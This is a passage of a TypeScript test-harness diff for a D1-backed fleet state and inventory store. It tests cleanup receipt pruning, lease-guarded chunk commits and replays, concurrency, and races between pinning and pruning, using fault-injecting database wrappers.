+          JSON.stringify(keyOrderReplay) === JSON.stringify(persisted),
+        conflict,
+        foreign,
+        reprovisionPhase: reprovisioned?.phase ?? null,
+        survivingOperationId: survivingReceipt?.operationId ?? null,
+      };
+    },
+  );
+}
+
+async function cleanupReceiptPrune(db: D1Database): Promise<unknown> {
+  const store = await readyStore(db);
+  await db.prepare(`DELETE FROM ${CLEANUP_RECEIPT_TABLE}`).run();
+  const operations = [
+    '00000000-0000-4000-8000-0000000000a1',
+    '00000000-0000-4000-8000-0000000000a2',
+    '00000000-0000-4000-8000-0000000000a3',
+  ];
+  for (const [index, operationId] of operations.entries()) {
+    const tenantTag = `prune${index}`;
+    const active = cleanupAdvancingFixture(tenantTag, operationId);
+    const receipt = cleanupReceiptFor(active);
+    await store.withDeploymentLease(tenantTag, 'production', async (lease) => {
+      if (!lease.completeCleanup) {
+        throw new Error('completeCleanup capability missing');
+      }
+      await lease.put(active);
+      await lease.completeCleanup({ receipt, expectedRevision: 0 });
+    });
+  }
+  if (!store.pruneCleanupReceipts) {
+    throw new Error('pruneCleanupReceipts capability missing');
+  }
+  const cutoff = Date.now() + 3_600_000;
+  const invalid: unknown[] = [];
+  for (const limit of [0, 1001, 1.5]) {
+    invalid.push(
+      await store
+        .pruneCleanupReceipts({ completedBeforeMs: cutoff, limit })
+        .then(
+          () => undefined,
+          (error: unknown) => errorShape(error),
+        ),
+    );
+  }
+  const untouched = await cleanupReceiptCount(db);
+  const nothing = await store.pruneCleanupReceipts({
+    completedBeforeMs: 0,
+    limit: 1000,
+  });
+  const firstTwo = await store.pruneCleanupReceipts({
+    completedBeforeMs: cutoff,
+    limit: 2,
+  });
+  const remaining = await db
+    .prepare(
+      `SELECT operation_id FROM ${CLEANUP_RECEIPT_TABLE} ORDER BY operation_id`,
     )
-    SELECT ?, 'seed-' || value, CAST(unixepoch('subsec') * 1000 AS INTEGER)
-    FROM sequence`)
-    .bind(quotaScope)
-    .run();
-  await first.acquire();
-  const controller = new AbortController();
-  const blocked = second.acquire(controller.signal).then(
-    () => false,
-    (error) => error instanceof Error && error.name === 'AbortError',
+    .all<{ operation_id: string }>();
+  const lowerBound = await store.pruneCleanupReceipts({
+    completedBeforeMs: cutoff,
+    limit: 1,
+  });
+  const rest = await store.pruneCleanupReceipts({
+    completedBeforeMs: cutoff,
+    limit: 1000,
+  });
+  return {
+    invalid,
+    untouched,
+    nothing,
+    firstTwo,
+    remainingAfterFirstTwo: remaining.results.map((row) => row.operation_id),
+    lowerBound,
+    rest,
+    finalCount: await cleanupReceiptCount(db),
+  };
+}
+
+async function cleanupClaimsRelease(db: D1Database): Promise<unknown> {
+  const store = await readyStore(db);
+  const active = record('claimsrel', 'production');
+  return store.withDeploymentLease('claimsrel', 'production', async (lease) => {
+    await lease.put(active);
+    const claims = await db
+      .prepare(
+        `SELECT resource_set_key, platform_plane_identity
+           FROM ${PLATFORM_CLAIM_TABLE}`,
+      )
+      .all<{ resource_set_key: string; platform_plane_identity: string }>();
+    if (!lease.deleteReleasingClaims) {
+      throw new Error('deleteReleasingClaims capability missing');
+    }
+    await lease.deleteReleasingClaims();
+    return {
+      identities: claims.results,
+      claimsAfter: await cleanupClaimCount(db, 'claimsrel'),
+      rowAfter: (await store.get('claimsrel', 'production'))?.phase ?? null,
+    };
+  });
+}
+
+async function coldConcurrentSchemaInitialization(
+  db: D1Database,
+): Promise<unknown> {
+  const stores = Array.from(
+    { length: 16 },
+    () =>
+      new D1FleetStateStore(new D1FleetStateDatabase(db), {
+        accountId: 'account-primary',
+      }),
   );
-  await new Promise((resolve) => setTimeout(resolve, 0));
-  controller.abort();
+  const written = await Promise.all(
+    stores.map((store, index) => {
+      const tenantTag = `cold${index}`;
+      return store.withDeploymentLease(
+        tenantTag,
+        'production',
+        async (lease) => {
+          await lease.put(record(tenantTag, 'production'));
+          return tenantTag;
+        },
+      );
+    }),
+  );
+  const columnRows = await db
+    .prepare(`PRAGMA table_info(${STATE_TABLE})`)
+    .all<{ name: string }>();
+  const tableRows = await db
+    .prepare(
+      `SELECT name FROM sqlite_master
+       WHERE type = 'table' AND name IN (?, ?, ?, ?)
+       ORDER BY name`,
+    )
+    .bind(STATE_TABLE, LEASE_TABLE, PLATFORM_CLAIM_TABLE, PLATFORM_LEASE_TABLE)
+    .all<{ name: string }>();
   const row = await db
-    .prepare(`SELECT COUNT(*) AS count
-      FROM anchorage_cloudflare_api_rate_reservations
-      WHERE quota_scope = ?`)
-    .bind(quotaScope)
+    .prepare(`SELECT COUNT(*) AS count FROM ${STATE_TABLE}`)
     .first<{ count: number }>();
-  return { blocked: await blocked, count: Number(row?.count) };
+  return {
+    written: [...written].sort(),
+    columns: ADDED_NULLABLE_TEXT_COLUMNS.filter((name) =>
+      columnRows.results.some((column) => column.name === name),
+    ),
+    rows: Number(row?.count),
+    tables: tableRows.results.map(({ name }) => name),
+  };
 }
 
-export default {
-  async fetch(request: Request, env: Env): Promise<Response> {
-    const url = new URL(request.url);
+const INVENTORY_TABLES = [
+  'anchorage_fleet_inventory_deployment_facts',
+  'anchorage_fleet_inventory_heads',
+  'anchorage_fleet_inventory_leases',
+  'anchorage_fleet_inventory_pins',
+  'anchorage_fleet_inventory_rows',
+  'anchorage_fleet_inventory_runs',
+];
+const INVENTORY_LEASE_TABLE = 'anchorage_fleet_inventory_leases';
+const INVENTORY_ACCOUNT = 'account-inventory';
+const INVENTORY_OPTIONS = canonicalFleetInventoryRunOptions({
+  hostRoutingKvId: 'kv-host-routing',
+  databaseNamePrefix: 'anchorage-db',
+  scriptNamePrefix: 'anchorage',
+});
+const INVENTORY_DIGEST = fleetInventoryOptionsDigest(INVENTORY_OPTIONS);
+
+function inventoryOperationId(index: number): string {
+  return `123e4567-e89b-42d3-a456-42661417${String(4200 + index)}`;
+}
+
+function inventoryStore(
+  database: FleetStateDatabase,
+  accountId = INVENTORY_ACCOUNT,
+): D1FleetInventoryRunStore {
+  return new D1FleetInventoryRunStore(database, {
+    accountId,
+  });
+}
+
+async function readyInventoryStore(
+  db: D1Database,
+): Promise<D1FleetInventoryRunStore> {
+  const store = inventoryStore(new D1FleetStateDatabase(db));
+  await store.latestFinalizedGeneration();
+  for (const table of INVENTORY_TABLES) {
+    await db.prepare(`DELETE FROM ${table}`).run();
+  }
+  return store;
+}
+
+/** Drops the next batch's result rows, reproducing a lost D1 response. */
+function hideResultsDatabase(
+  delegate: FleetStateDatabase,
+): FleetStateDatabase & Readonly<{ loseNextBatch(): void }> {
+  let lose = false;
+  return {
+    query: (sql, bindings) => delegate.query(sql, bindings),
+    execute: (sql, bindings) => delegate.execute(sql, bindings),
+    async batch(statements) {
+      const results = await delegate.batch(statements);
+      if (!lose) return results;
+      lose = false;
+      return results.map(() => []);
+    },
+    loseNextBatch() {
+      lose = true;
+    },
+  };
+}
+
+function inventoryRows(label: string): readonly FleetInventoryStagedRow[] {
+  return [
+    { kind: 'registration', ordinal: 0, payload: { scriptName: label } },
+    { kind: 'deployment', ordinal: 0, payload: { scriptName: label } },
+    {
+      kind: 'finding',
+      ordinal: 0,
+      payload: { detail: `stale route ${label}` },
+    },
+  ];
+}
+
+function inventoryFacts(): readonly FleetInventoryStagedFact[] {
+  return [
+    {
+      deploymentOrdinal: 0,
+      factKind: 'secret-name',
+      factOrdinal: 0,
+      payload: { name: 'ANCHORAGE_NAME_0' },
+    },
+  ];
+}
+
+function inventoryCounts(
+  rows: readonly FleetInventoryStagedRow[],
+): Record<FleetInventoryRowKind, number> {
+  const counts = emptyFleetInventoryRowCounts() as Record<
+    FleetInventoryRowKind,
+    number
+  >;
+  for (const row of rows) counts[row.kind] += 1;
+  return counts;
+}
+
+function inventoryCommitted(
+  record: FleetInventoryRunRecord,
+  rows: readonly FleetInventoryStagedRow[],
+  facts: readonly FleetInventoryStagedFact[],
+): FleetInventoryRunRecord {
+  return {
+    ...record,
+    progress: {
+      ...record.progress,
+      stage: { step: 'finalize' },
+      revision: record.progress.revision + 1,
+      stagedCounts: inventoryCounts(rows),
+      factCount: facts.length,
+      providerRequests: record.progress.providerRequests + 1,
+    },
+    updatedAt: '2026-08-29T00:00:00.000Z',
+  };
+}
+
+async function seedInventoryGeneration(
+  store: D1FleetInventoryRunStore,
+  index: number,
+  rows: readonly FleetInventoryStagedRow[] = inventoryRows(`gen-${index}`),
+  facts: readonly FleetInventoryStagedFact[] = inventoryFacts(),
+): Promise<number> {
+  const operationId = inventoryOperationId(index);
+  return store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const record = await lease.commitChunk({
+      operationId,
+      expectedRevision: started.progress.revision,
+      runRecord: inventoryCommitted(started, rows, facts),
+      rows,
+      facts,
+    });
+    const ref = await lease.finalizeRun({
+      operationId,
+      expectedRevision: record.progress.revision,
+      manifest: record.progress.stagedCounts,
+      factCount: record.progress.factCount,
+    });
+    return ref.generation;
+  });
+}
+
+async function inventorySnapshot(db: D1Database) {
+  const heads = await db
+    .prepare(
+      `SELECT account_id, active_operation_id, latest_finalized_generation, next_generation
+         FROM anchorage_fleet_inventory_heads ORDER BY account_id`,
+    )
+    .all();
+  const runs = await db
+    .prepare(
+      `SELECT account_id, operation_id, generation, options_digest,
+              run_record, created_at_ms, finalized_at_ms
+         FROM anchorage_fleet_inventory_runs ORDER BY account_id, operation_id`,
+    )
+    .all();
+  const rows = await db
+    .prepare(
+      `SELECT account_id, generation, kind, ordinal, payload
+         FROM anchorage_fleet_inventory_rows
+        ORDER BY account_id, generation, kind, ordinal`,
+    )
+    .all();
+  const facts = await db
+    .prepare(
+      `SELECT account_id, generation, deployment_ordinal, fact_kind,
+              fact_ordinal, payload
+         FROM anchorage_fleet_inventory_deployment_facts
+        ORDER BY account_id, generation, deployment_ordinal, fact_kind, fact_ordinal`,
+    )
+    .all();
+  return {
+    heads: heads.results,
+    runs: runs.results,
+    rows: rows.results,
+    facts: facts.results,
+  };
+}
+
+interface InventoryCommitRefusalInput {
+  fault:
+    | 'account'
+    | 'generation'
+    | 'options'
+    | 'row-conflict'
+    | 'fact-conflict'
+    | 'duplicate-row'
+    | 'duplicate-fact';
+  hideResults: boolean;
+  duplicatePayload?: 'same' | 'different';
+}
+
+async function inventoryCommitRefusal(
+  db: D1Database,
+  { fault, hideResults, duplicatePayload }: InventoryCommitRefusalInput,
+): Promise<unknown> {
+  await readyInventoryStore(db);
+  const database = hideResultsDatabase(new D1FleetStateDatabase(db));
+  const store = inventoryStore(database);
+  const operationId = inventoryOperationId(21);
+  return store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const seededRows = inventoryRows('prior');
+    const seededFacts = inventoryFacts();
+    const prior = await lease.commitChunk({
+      operationId,
+      expectedRevision: 0,
+      runRecord: inventoryCommitted(started, seededRows, seededFacts),
+      rows: seededRows,
+      facts: seededFacts,
+    });
+    const row: FleetInventoryStagedRow = {
+      kind: 'meta',
+      ordinal: 0,
+      payload: { marker: 'earlier-sibling' },
+    };
+    const fact: FleetInventoryStagedFact = {
+      deploymentOrdinal: 0,
+      factKind: 'secret-name',
+      factOrdinal: 1,
+      payload: { name: 'ANCHORAGE_NAME_1' },
+    };
+    const existingRow = seededRows[0];
+    const existingFact = seededFacts[0];
+    if (!existingRow || !existingFact) {
+      throw new Error('inventory refusal seed is absent');
+    }
+    const intended = inventoryCommitted(
+      prior,
+      [...seededRows, row],
+      [...seededFacts, fact],
+    );
+    const input = {
+      operationId,
+      expectedRevision: prior.progress.revision,
+      runRecord: intended,
+      rows: fault === 'row-conflict' ? [row, existingRow] : [row],
+      facts: fault === 'fact-conflict' ? [fact, existingFact] : [fact],
+    };
+    const attempted = { ...input };
+    switch (fault) {
+      case 'generation':
+        attempted.runRecord = {
+          ...intended,
+          progress: { ...intended.progress, generation: 99 },
+        };
+        break;
+      case 'options': {
+        const options = canonicalFleetInventoryRunOptions({
+          ...INVENTORY_OPTIONS,
+          scriptNamePrefix: 'alternate',
+        });
+        attempted.runRecord = {
+          ...intended,
+          options,
+          optionsDigest: fleetInventoryOptionsDigest(options),
+        };
+        break;
+      }
+      case 'row-conflict':
+        attempted.rows = [
+          row,
+          { ...existingRow, payload: { scriptName: 'different' } },
+        ];
+        break;
+      case 'fact-conflict':
+        attempted.facts = [
+          fact,
+          { ...existingFact, payload: { name: 'DIFFERENT_NAME' } },
+        ];
+        break;
+      case 'duplicate-row':
+        attempted.rows = [
+          row,
+          duplicatePayload === 'same'
+            ? row
+            : { ...row, payload: { marker: 'different' } },
+        ];
+        break;
+      case 'duplicate-fact':
+        attempted.facts = [
+          fact,
+          duplicatePayload === 'same'
+            ? fact
+            : { ...fact, payload: { name: 'DIFFERENT_NAME' } },
+        ];
+        break;
+    }
+    const before = await inventorySnapshot(db);
+    let refused: unknown = null;
+    try {
+      if (fault === 'account') {
+        await new D1FleetInventoryRunStore(database, {
+          accountId: 'other-inventory-account',
+        }).withAccountInventoryLease(async (foreignLease) => {
+          await foreignLease.assertOwned();
+          if (hideResults) database.loseNextBatch();
+          await foreignLease.commitChunk(attempted);
+        });
+      } else {
+        if (hideResults) database.loseNextBatch();
+        await lease.commitChunk(attempted);
+      }
+    } catch (error) {
+      refused = errorShape(error);
+    }
+    const afterRefusal = await inventorySnapshot(db);
+    let accepted: FleetInventoryRunRecord | null = null;
+    let replay: FleetInventoryRunRecord | null = null;
+    let acceptanceError: unknown = null;
+    let afterAcceptance = afterRefusal;
+    try {
+      if (hideResults) database.loseNextBatch();
+      accepted = await lease.commitChunk(input);
+      afterAcceptance = await inventorySnapshot(db);
+      if (hideResults) database.loseNextBatch();
+      replay = await lease.commitChunk(input);
+    } catch (error) {
+      acceptanceError = errorShape(error);
+    }
+    return {
+      prior,
+      intended,
+      attempted,
+      before,
+      afterRefusal,
+      refused,
+      accepted,
+      acceptanceError,
+      afterAcceptance,
+      replay,
+      afterReplay: await inventorySnapshot(db),
+    };
+  });
+}
+
+async function inventoryCommitReplay(
+  db: D1Database,
+  change: 'failed' | 'stage' | 'provider-requests' | 'updated-at',
+  hideResults: boolean,
+): Promise<unknown> {
+  await readyInventoryStore(db);
+  const database = hideResultsDatabase(new D1FleetStateDatabase(db));
+  const store = inventoryStore(database);
+  const operationId = inventoryOperationId(22);
+  return store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const rows = inventoryRows('prior');
+    const facts = inventoryFacts();
+    const input = {
+      operationId,
+      expectedRevision: 0,
+      runRecord: inventoryCommitted(started, rows, facts),
+      rows,
+      facts,
+    };
+    if (hideResults) database.loseNextBatch();
+    const accepted = await lease.commitChunk(input);
+    const afterAcceptance = await inventorySnapshot(db);
+    if (hideResults) database.loseNextBatch();
+    const replay = await lease.commitChunk(input);
+    const afterReplay = await inventorySnapshot(db);
+    let attempted = input.runRecord;
+    switch (change) {
+      case 'failed':
+        await lease.failRun({
+          operationId,
+          expectedRevision: accepted.progress.revision,
+          reason: 'operator-abandoned',
+        });
+        break;
+      case 'stage':
+        attempted = {
+          ...attempted,
+          progress: {
+            ...attempted.progress,
+            stage: { step: 'ordinary-scripts' },
+          },
+        };
+        break;
+      case 'provider-requests':
+        attempted = {
+          ...attempted,
+          progress: {
+            ...attempted.progress,
+            providerRequests: attempted.progress.providerRequests + 1,
+          },
+        };
+        break;
+      case 'updated-at':
+        attempted = { ...attempted, updatedAt: '2026-08-30T00:00:00.000Z' };
+        break;
+    }
+    const beforeRefusal = await inventorySnapshot(db);
+    let refused: unknown = null;
+    if (hideResults) database.loseNextBatch();
+    try {
+      await lease.commitChunk({ ...input, runRecord: attempted });
+    } catch (error) {
+      refused = errorShape(error);
+    }
+    return {
+      intended: input.runRecord,
+      attempted,
+      accepted,
+      afterAcceptance,
+      replay,
+      afterReplay,
+      beforeRefusal,
+      afterRefusal: await inventorySnapshot(db),
+      refused,
+    };
+  });
+}
+
+async function inventoryMaximumChunk(db: D1Database): Promise<unknown> {
+  await readyInventoryStore(db);
+  const delegate = new D1FleetStateDatabase(db);
+  let maxStatements = 0;
+  let maxBindings = 0;
+  let maxSqlBytes = 0;
+  let maxBindingBytes = 0;
+  const encoder = new TextEncoder();
+  const measured: FleetStateDatabase = {
+    query: (sql, bindings) => delegate.query(sql, bindings),
+    execute: (sql, bindings) => delegate.execute(sql, bindings),
+    async batch(statements) {
+      maxStatements = Math.max(maxStatements, statements.length);
+      for (const { sql, bindings = [] } of statements) {
+        maxBindings = Math.max(maxBindings, bindings.length);
+        maxSqlBytes = Math.max(maxSqlBytes, encoder.encode(sql).byteLength);
+        for (const binding of bindings) {
+          if (typeof binding === 'string')
+            maxBindingBytes = Math.max(
+              maxBindingBytes,
+              encoder.encode(binding).byteLength,
+            );
+        }
+      }
+      return delegate.batch(statements);
+    },
+  };
+  const store = inventoryStore(measured);
+  const rows: FleetInventoryStagedRow[] = Array.from(
+    { length: 1000 },
+    (_, ordinal) => ({ kind: 'meta', ordinal, payload: { index: ordinal } }),
+  );
+  const facts: FleetInventoryStagedFact[] = Array.from(
+    { length: 1000 },
+    (_, factOrdinal) => ({
+      deploymentOrdinal: 0,
+      factKind: 'secret-name',
+      factOrdinal,
+      payload: { name: `ANCHORAGE_NAME_${factOrdinal}` },
+    }),
+  );
+  const id = inventoryOperationId(23);
+  const result = await store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId: id,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const input = {
+      operationId: id,
+      expectedRevision: 0,
+      runRecord: inventoryCommitted(started, rows, facts),
+      rows,
+      facts,
+    };
+    const accepted = await lease.commitChunk(input);
+    const replay = await lease.commitChunk(input);
+    const finalized = await lease.finalizeRun({
+      operationId: id,
+      expectedRevision: accepted.progress.revision,
+      manifest: accepted.progress.stagedCounts,
+      factCount: accepted.progress.factCount,
+    });
+    return { accepted, replay, finalized };
+  });
+  const materialized = await store.readFinalizedGeneration(
+    result.finalized.generation,
+  );
+  return {
+    acceptedRevision: result.accepted.progress.revision,
+    replayEqual:
+      JSON.stringify(result.accepted) === JSON.stringify(result.replay),
+    rowsEqual: JSON.stringify(materialized.rows) === JSON.stringify(rows),
+    factsEqual: JSON.stringify(materialized.facts) === JSON.stringify(facts),
+    rowCount: materialized.rows.length,
+    factCount: materialized.facts.length,
+    maxStatements,
+    maxBindings,
+    maxSqlBytes,
+    maxBindingBytes,
+  };
+}
+
+async function inventoryStartAtomicity(db: D1Database): Promise<unknown> {
+  await readyInventoryStore(db);
+  const operationId = inventoryOperationId(0);
+  const stores = Array.from({ length: 16 }, () =>
+    inventoryStore(new D1FleetStateDatabase(db)),
+  );
+  const attempts = await Promise.allSettled(
+    stores.map((store) =>
+      store.withAccountInventoryLease((lease) =>
+        lease.startRun({
+          operationId,
+          options: INVENTORY_OPTIONS,
+          optionsDigest: INVENTORY_DIGEST,
+        }),
+      ),
+    ),
+  );
+  const head = await db
+    .prepare(
+      `SELECT active_operation_id, latest_finalized_generation, next_generation
+         FROM anchorage_fleet_inventory_heads WHERE account_id = ?`,
+    )
+    .bind(INVENTORY_ACCOUNT)
+    .first<{
+      active_operation_id: string | null;
+      latest_finalized_generation: number | null;
+      next_generation: number;
+    }>();
+  const run = await db
+    .prepare(
+      `SELECT operation_id, generation, options_digest, finalized_at_ms
+         FROM anchorage_fleet_inventory_runs WHERE account_id = ?`,
+    )
+    .bind(INVENTORY_ACCOUNT)
+    .all<{
+      operation_id: string;
+      generation: number;
+      options_digest: string;
+      finalized_at_ms: number | null;
+    }>();
+  return {
+    started: attempts.filter((attempt) => attempt.status === 'fulfilled')
+      .length,
+    rejected: attempts.filter((attempt) => attempt.status === 'rejected')
+      .length,
+    head: {
+      activeOperationId: head?.active_operation_id ?? null,
+      latestFinalizedGeneration: head?.latest_finalized_generation ?? null,
+      nextGeneration: Number(head?.next_generation),
+    },
+    runs: run.results.map((row) => ({
+      operationId: row.operation_id,
+      generation: Number(row.generation),
+      digestMatches: row.options_digest === INVENTORY_DIGEST,
+      finalized: row.finalized_at_ms !== null,
+    })),
+    generation:
+      run.results.length === 1 ? Number(run.results[0]?.generation) : 0,
+  };
+}
+
+async function inventoryCrossAccountStart(
+  db: D1Database,
+  concurrent: boolean,
+): Promise<unknown> {
+  await readyInventoryStore(db);
+  const accounts = [INVENTORY_ACCOUNT, 'account-inventory-other'] as const;
+  const stores = accounts.map((account) =>
+    inventoryStore(new D1FleetStateDatabase(db), account),
+  );
+  const firstStore = stores[0];
+  const secondStore = stores[1];
+  if (!firstStore || !secondStore) throw new Error('collision stores missing');
+  await seedInventoryGeneration(firstStore, 24);
+  await seedInventoryGeneration(secondStore, 25);
+  const operationId = inventoryOperationId(26);
+  const nextOperationId = inventoryOperationId(27);
+  const start = (store: D1FleetInventoryRunStore, id: string) =>
+    store.withAccountInventoryLease((lease) =>
+      lease.startRun({
+        operationId: id,
+        options: INVENTORY_OPTIONS,
+        optionsDigest: INVENTORY_DIGEST,
+      }),
+    );
+  const before = await inventorySnapshot(db);
+  const first = start(firstStore, operationId);
+  if (!concurrent) await first;
+  const attempts = await Promise.allSettled([
+    first,
+    start(secondStore, operationId),
+  ]);
+  const afterCollision = await inventorySnapshot(db);
+  const winnerIndex = attempts.findIndex(
+    (entry) => entry.status === 'fulfilled',
+  );
+  const loserIndex = attempts.findIndex((entry) => entry.status === 'rejected');
+  const winner = stores[winnerIndex];
+  const loser = stores[loserIndex];
+  if (!winner || !loser) {
+    throw new Error(`collision outcomes: ${JSON.stringify(attempts)}`);
+  }
+  const refused = await start(loser, operationId).then(
+    () => null,
+    (error: unknown) => errorShape(error),
+  );
+  const replay = await start(winner, operationId);
+  const busy = await start(winner, nextOperationId).then(
+    () => null,
+    (error: unknown) => errorShape(error),
+  );
+  const afterRefusals = await inventorySnapshot(db);
+  let next: FleetInventoryRunRecord | null = null;
+  const nextError = await start(loser, nextOperationId).then(
+    (run) => {
+      next = run;
+      return null;
+    },
+    (error: unknown) => errorShape(error),
+  );
+  return {
+    operationId,
+    nextOperationId,
+    winnerAccount: accounts[winnerIndex],
+    loserAccount: accounts[loserIndex],
+    attempts: attempts.map((entry) =>
+      entry.status === 'fulfilled'
+        ? { status: entry.status, run: entry.value }
+        : { status: entry.status, error: errorShape(entry.reason) },
+    ),
+    before,
+    afterCollision,
+    refused,
+    replay,
+    busy,
+    afterRefusals,
+    next,
+    nextError,
+    afterNext: await inventorySnapshot(db),
+  };
+}
+
+async function inventoryPartialPrune(
+  db: D1Database,
+  mode: 'rows' | 'both' | 'empty',
+): Promise<unknown> {
+  await readyInventoryStore(db);
+  const clock = controlledLeaseClock(db, INVENTORY_LEASE_TABLE);
+  clock.allowHeartbeat();
+  const store = new D1FleetInventoryRunStore(clock.database, {
+    accountId: INVENTORY_ACCOUNT,
+    leaseTtlMs: 60_000,
+    leaseRenewalIntervalMs: 30_000,
+  });
+  await seedInventoryGeneration(
+    store,
+    38,
+    mode === 'empty' ? [] : inventoryRows('partial-prune'),
+    mode === 'empty' ? [] : inventoryFacts(),
+  );
+  await seedInventoryGeneration(store, 39);
+  const before = await inventorySnapshot(db);
+  clock.advanceBeforeBatchStatement(mode === 'rows' ? 1 : 2, 60_001);
+  const interrupted = await store.pruneInventoryGenerations({ limit: 1 }).then(
+    () => null,
+    (error: unknown) => errorShape(error),
+  );
+  const partial = await inventorySnapshot(db);
+  const pin = await store
+    .pinGeneration({ generation: 1, pinnedBy: 'reader' })
+    .then(
+      () => null,
+      (error: unknown) => errorShape(error),
+    );
+  const afterPin = await inventorySnapshot(db);
+  const pins = await db
+    .prepare(
+      'SELECT account_id, generation, pinned_by FROM anchorage_fleet_inventory_pins',
+    )
+    .all();
+  const read = await store.readFinalizedGeneration(1).then(
+    (generation) => ({ generation, error: null }),
+    (error: unknown) => ({ generation: null, error: errorShape(error) }),
+  );
+  await store.releasePin({ generation: 1, pinnedBy: 'reader' });
+  const retried = await store.pruneInventoryGenerations({ limit: 1 });
+  return {
+    before,
+    interrupted,
+    partial,
+    pin,
+    afterPin,
+    pins: pins.results,
+    read,
+    retried,
+    afterRetry: await inventorySnapshot(db),
+  };
+}
+
+async function inventoryDenseFinalization(db: D1Database): Promise<unknown> {
+  const store = await readyInventoryStore(db);
+  const operationId = inventoryOperationId(40);
+  return store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const rows: FleetInventoryStagedRow[] = [
+      { kind: 'meta', ordinal: 0, payload: { index: 0 } },
+      { kind: 'meta', ordinal: 2, payload: { index: 2 } },
+    ];
+    const current = await lease.commitChunk({
+      operationId,
+      expectedRevision: 0,
+      runRecord: inventoryCommitted(started, rows, []),
+      rows,
+      facts: [],
+    });
+    const before = await inventorySnapshot(db);
+    const refused = await lease
+      .finalizeRun({
+        operationId,
+        expectedRevision: 1,
+        manifest: current.progress.stagedCounts,
+        factCount: 0,
+      })
+      .then(
+        () => null,
+        (error: unknown) => errorShape(error),
+      );
+    const afterRefusal = await inventorySnapshot(db);
+    const missing: FleetInventoryStagedRow = {
+      kind: 'meta',
+      ordinal: 1,
+      payload: { index: 1 },
+    };
+    const complete = await lease.commitChunk({
+      operationId,
+      expectedRevision: 1,
+      runRecord: inventoryCommitted(current, [...rows, missing], []),
+      rows: [missing],
+      facts: [],
+    });
+    await lease.finalizeRun({
+      operationId,
+      expectedRevision: 2,
+      manifest: complete.progress.stagedCounts,
+      factCount: 0,
+    });
+    return {
+      operationId,
+      before,
+      afterRefusal,
+      refused,
+      final: await store.readFinalizedGeneration(1),
+    };
+  });
+}
+
+async function inventoryPinPruneRace(
+  db: D1Database,
+  winner: 'pin' | 'prune',
+): Promise<unknown> {
+  await readyInventoryStore(db);
+  const delegate = new D1FleetStateDatabase(db);
+  let release!: () => void;
+  const resume = new Promise<void>((resolve) => {
+    release = resolve;
+  });
+  let arrived!: () => void;
+  const entered = new Promise<void>((resolve) => {
+    arrived = resolve;
+  });
+  let armed = false;
+  const database: FleetStateDatabase = {
+    query: (sql, bindings) => delegate.query(sql, bindings),
+    execute: (sql, bindings) => delegate.execute(sql, bindings),
+    async batch(statements) {
+      const heldSql =
+        winner === 'prune'
+          ? 'INSERT INTO anchorage_fleet_inventory_pins'
+          : 'DELETE FROM anchorage_fleet_inventory_rows';
+      if (
+        armed &&
+        statements.some((statement) => statement.sql.includes(heldSql))
+      ) {
+        armed = false;
+        arrived();
+        await resume;
+      }
+      return delegate.batch(statements);
+    },
+  };
+  const store = inventoryStore(database);
+  await seedInventoryGeneration(store, 36);
+  await seedInventoryGeneration(store, 37);
+  const before = await inventorySnapshot(db);
+  let pinOutcome: unknown;
+  let pruneOutcome: unknown;
+  await store.withAccountInventoryLease(async (lease) => {
+    armed = true;
+    const pin = () =>
+      lease.pinGeneration({ generation: 1, pinnedBy: 'race-reader' }).then(
+        () => ({ ok: true, error: null }),
+        (error: unknown) => ({ ok: false, error: errorShape(error) }),
+      );
+    const prune = () =>
+      lease.pruneInventoryGenerations({ limit: 1 }).then(
+        (result) => ({ deleted: result.deleted, error: null }),
+        (error: unknown) => ({ deleted: null, error: errorShape(error) }),
+      );
+    const held = winner === 'prune' ? pin() : prune();
+    let other: unknown;
+    try {
+      const reached = await Promise.race([
+        entered.then(() => true),
+        held.then(() => false),
+      ]);
+      if (!reached)
+        throw new Error('inventory pin/prune barrier was not reached');
+      other = await (winner === 'prune' ? prune() : pin());
+    } finally {
+      release();
+    }
+    const resumed = await held;
+    pinOutcome = winner === 'prune' ? resumed : other;
+    pruneOutcome = winner === 'prune' ? other : resumed;
+  });
+  const after = await inventorySnapshot(db);
+  const pins = await db
+    .prepare(
+      'SELECT account_id, generation, pinned_by FROM anchorage_fleet_inventory_pins ORDER BY account_id, generation, pinned_by',
+    )
+    .all();
+  const read = await store.readFinalizedGeneration(1).then(
+    (generation) => ({ generation, error: null }),
+    (error: unknown) => ({ generation: null, error: errorShape(error) }),
+  );
+  return { before, after, pins: pins.results, pinOutcome, pruneOutcome, read };
+}
+
+async function inventoryPruneActiveRace(db: D1Database): Promise<unknown> {
+  await readyInventoryStore(db);
+  const delegate = new D1FleetStateDatabase(db);
+  const operationId = inventoryOperationId(35);
+  let arm = false;
+  let afterPromotion: unknown = null;
+  const database: FleetStateDatabase = {
+    query: (sql, bindings) => delegate.query(sql, bindings),
+    execute: (sql, bindings) => delegate.execute(sql, bindings),
+    async batch(statements) {
+      if (arm) {
+        arm = false;
+        await db
+          .prepare(
+            'UPDATE anchorage_fleet_inventory_heads SET active_operation_id = ? WHERE account_id = ?',
+          )
+          .bind(operationId, INVENTORY_ACCOUNT)
+          .run();
+        afterPromotion = await inventorySnapshot(db);
+      }
+      return delegate.batch(statements);
+    },
+  };
+  const store = inventoryStore(database);
+  await store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const rows = inventoryRows('prune-active-race');
+    const facts = inventoryFacts();
+    await lease.commitChunk({
+      operationId,
+      expectedRevision: 0,
+      runRecord: inventoryCommitted(started, rows, facts),
+      rows,
+      facts,
+    });
+    await lease.failRun({
+      operationId,
+      expectedRevision: 1,
+      reason: 'operator-abandoned',
+    });
+  });
+  const before = await inventorySnapshot(db);
+  arm = true;
+  const pruned = await store.pruneInventoryGenerations({ limit: 1 });
+  return {
